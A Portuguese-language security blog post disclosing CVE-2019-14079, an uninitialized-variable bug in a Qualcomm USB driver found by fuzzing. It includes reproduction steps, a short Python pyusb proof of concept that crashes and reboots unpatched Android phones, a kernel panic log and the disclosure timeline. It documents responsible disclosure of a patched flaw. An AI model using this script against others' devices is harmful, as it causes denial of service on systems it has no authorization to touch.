Fuzzing de dispositivos USB no Android (CVE-2019-14079)

Este post no blog é sobre um bug simples que encontrei no meu dispositivo Android (MI A2 - roda Android stock) usando fuzzing de dispositivo USB e foi classificado como alta gravidade pelo Google. O bug estava no driver USB da Qualcomm que foi posteriormente corrigido e divulgado no boletim Android de março de 2020. Sobre a vulnerabilidade, quando você envia solicitações USB personalizadas para o telefone Android, ele trava o kernel do Android e o telefone reinicia.

Este bug foi devido a uma variável não inicializada usada no gadget USB "core.c". Detalhes sobre a vulnerabilidade podem ser encontrados no aviso de segurança da Qualcomm abaixo e no boletim Android de março de 2020.

https://www.qualcomm.com/company/product-security/bulletins/march-2020-bulletin

Visão Geral Técnica

Os telefones Android suportam modos de dispositivo e host, no modo dispositivo você pode conectar seu celular a um PC usando um cabo USB e compartilhar imagens, música do seu telefone para o PC com diferentes modos de conectividade USB (como apenas carregamento, MTP). No modo Host, você pode conectar um headset, pendrive usando um cabo OTG onde seus dispositivos atuam como cliente e seu telefone Android atua como host.

A vulnerabilidade foi encontrada apenas randomizando os parâmetros de controle USB, como bmRequestType, bRequest, wValue (bDescriptortype:DescriptorIndex), wIndex e wLength e enviando-os para o dispositivo Android. Ao enviar uma sequência de solicitações de controle do host Linux para o Android (como visto no script abaixo), o driver do dispositivo USB no telefone analisa e causa um pânico no kernel.

Você pode verificar o vídeo abaixo para entender sobre a visão geral do USB e fuzzing por Andrey Konovalov na Offensive-con 2019 e também os fundamentos do protocolo USB: USB 101: An Introduction to Universal Serial Bus 2.0.

https://www.youtube.com/watch?v=1MD5JV6LfxA

Chipsets Afetados: APQ8009, APQ8053, MDM9607, MDM9640, MSM8909W, MSM8953, QCA6574AU, QCS605, SDA845, SDM429, SDM429W, SDM439, SDM450, SDM632, SDM670, SDM710, SDM845, SDX24, SM8150, SXR1130

Passos para reproduzir esta vulnerabilidade se você não atualizou seu telefone com o patch Android de março de 2020.

• Conecte seu celular Android ao PC Linux (Ubuntu).
• Verifique se nenhuma depuração USB está ativada no seu celular.
• O dispositivo deve estar conectado no modo de carregamento normal.
• No host Ubuntu, o Android se conecta como dispositivo USB e é detectado como SDMxxx SN:xxxxxx.
• Verifique seus logs dmesg ou lsusb para identificar seu dispositivo.
• Observe o VID e PID conforme seu dispositivo usando lsusb e use-os no script abaixo.
• Execute o script Python abaixo no seu PC Linux com pyusb instalado. Se você ver seu telefone reiniciar, então você explorou o bug. Você pode verificar seus logs do kernel para as mensagens abaixo após a reinicialização usando logcat ou bugreport.

POC

#!/usr/bin/env python3
import usb.core

dev = usb.core.find(idVendor=0x2717, idProduct=0xff40) 

send = dev.ctrl_transfer(0x80,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x81,0,0x0000,0x00,0000) 
send = dev.ctrl_transfer(0x82,0,0x0000,0x00,0000) 
print("Received: " + str(send))

Logs de Crash

[  314.639049] Kernel BUG at ffffff95d9f3ca20 [verbose debug info unavailable]
[  314.639054] Internal error: Oops - BUG: 96000044 [#1] PREEMPT SMP
[  314.639060] Modules linked in: wlan(O)
[  314.639074] CPU: 2 PID: 115 Comm: kworker/u17:1 Tainted: G           O    4.4.153-perf+ #1
[  314.639080] Hardware name: Qualcomm Technologies, Inc. SDM 660 PM660 + PM660L MTP (DT)
[  314.639100] Workqueue: dwc_wq dwc3_bh_work
[  314.639107] task: ffffffc1f7470e00 task.stack: ffffffc1f747c000
[  314.639114] PC is at dwc3_gadget_giveback+0x84/0x1ec
[  314.639121] LR is at dwc3_ep0_stall_and_restart+0x64/0x84
[  314.639126] pc : [<ffffff95d9f3ca20>] lr : [<ffffff95d9f41ae8>] pstate: 804001c5
[  314.639129] sp : ffffffc1f747fbd0
[  314.639133] x29: ffffffc1f747fbd0 x28: ffffffc174099020 
[  314.639141] x27: ffffff95db082010 x26: 000000000000c040 
[  314.639148] x25: ffffffc174099020 x24: ffffff95db806000 
[  314.639156] x23: 0000000000000000 x22: ffffffc1f613da00 
[  314.639164] x21: ffffffc174099020 x20: ffffffc1f613da00 
[  314.639172] x19: ffffffc174099070 x18: 0000000000000010 
[  314.639179] x17: 0000007b609c9578 x16: ffffff95da4be634 
[  314.639186] x15: aaaaaaaaaaaaaaab x14: 0fffffffffffffff 
[  314.639193] x13: 0000000000000008 x12: 0101010101010101 
[  314.639200] x11: 7f7f7f7f7f7f7fff x10: 3952455531fffffe 
[  314.639208] x9 : ffffffffffffffff x8 : 0000000000808000 
[  314.639215] x7 : 0080800000000000 x6 : ffffff95dbbf8852 
[  314.639222] x5 : 3a534656330100ff x4 : 0000000000000001 
[  314.639230] x3 : 000000000000000a x2 : 00000000ffffff98 
[  314.639237] x1 : dead000000000100 x0 : dead000000000200 

Próximos Passos

Além disso, os logs de crash não explicam o motivo por trás da falha. Então, estou planejando adicionar KASAN à compilação no meu novo Pixel e melhorar meu fuzzing de dispositivo com técnicas adequadas de instrumentação, como monitorar os logs em busca de falhas durante o fuzzing. Além disso, libusb não permite emitir solicitações de controle grandes e na maioria das vezes elas são reduzidas. Então, estou pensando em tentar com o exemplo de Kate Temkin (fusee_gelee) de usar ioctl para emitir comandos diretamente ao driver USB.

Cronograma

• O problema foi relatado ao Android VRP em agosto de 2019.
• A Qualcomm corrigiu em março de 2020.

Motivação e Agradecimentos

• Meu Mentor (Durga Prasad Sahoo - https://github.com/break2make)
• NCC por fuzzing de dispositivo USB
• @ktemkin por seu belo bug USB no Nintendo Switch